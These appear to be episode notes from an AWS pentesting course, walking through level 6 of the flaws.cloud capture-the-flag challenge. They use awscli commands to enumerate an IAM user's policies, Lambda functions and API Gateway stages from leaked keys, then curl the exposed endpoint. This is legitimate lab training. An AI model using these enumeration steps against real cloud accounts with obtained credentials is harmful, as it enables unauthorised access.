

- Filename: intro-to-aws-pentesting-3-6-1-flaws-level-6.md
- Show Name: Intro to AWS Pentesting
- Topic Name: Flaws
- Episode Name: Flaws: Level 6

Flaws: Level 6

Objectives:

- Utilize cloud pentesting techniques specific to AWS environments to complete the Flaws Level 5 challenge
- Utilize the awscli to discover and exploit misconfigured access for an AWS IAM user and Lambda function

-
- We are given aws keys what do we do first?
 - Attempt to do all the things we've done already
 - Enumerate the user
 - Create an awscli profile
 - `aws --profile flaws-l6 iam get-user`
 - We see the username "Level6"
 - What can we do with the username?
 - We can look for policies and roles
 - List Policies / Attached Policies
 - `aws --profile flaws-l6 iam list-attached-user-policies --user-name Level6`
 - We find a couple of attached policies
 - `list_apigateways`
 - `MySecurityAudit`
 - List Roles / Attached Roles
 - `aws --profile flaws-l6 iam list-attached-role-policies --user-name Level6`
 - We find an attached role
 - `AWSLambdaBasicExecutionRole`
 - Can we get any more information about the Policies?
 - Get Policy information
 - `aws --profile flaws-l6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways`
 - Looks like we have permission to run...
 - `apigateway:GET`
 - Against resource...
 - `arn:aws:apigateway:us-west-2::restapis/*`
 - Based off this information, what should we do now?
 - We need to do some Lambda enumeration
 - `aws --profile flaws-l6 lambda list-functions`
 - We see a function name `Level6`
 - Let's see if we can get the function
 - `aws --profile flaws-l6 lambda get-function --function-name Level6`
 - Access Denied :(

- Are we done here then?
 - Not yet.
 - Look for resource-based policies
 - Permissions can be granted to AWS accounts/orgs on a per-resource basis
 - `aws --profile flaws-l6 lambda get-policy --function-name Level6`
 - We see the *Condition* for allowing access
 - `arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/*/GET/level6*`
 - So we must be making our API GET request from this resource
- How do we do that?
 - We make an API request
 - Using curl/python/etc
 - We need to structure the API request
 - <https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-create-api-as-simple-proxy-for-lambda.html#api-gateway-create-api-as-simple-proxy-for-lambda-test>
 - We need the following elements...
 - **API ID**
 - **Region**
 - Format of the arn is described in this document under *execute-api*
 - https://docs.amazonaws.cn/en_us/apigateway/latest/developerguide/am-format-reference.html
 - `arn:partition:execute-api:region:account-id:api-id/authorizers/authorizer-id`
 - So **s33ppypa75** is the *api-id*
 - **Stage Name**
- How do we retrieve the stage name?
 - `aws --profile flaws-l6 apigateway get-stages --rest-api-id s33ppypa75`
 - We see *stageName* is *Prod*
- Now we make our GET request?
 - Yes.
 - `curl http://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6`
 - Bingo!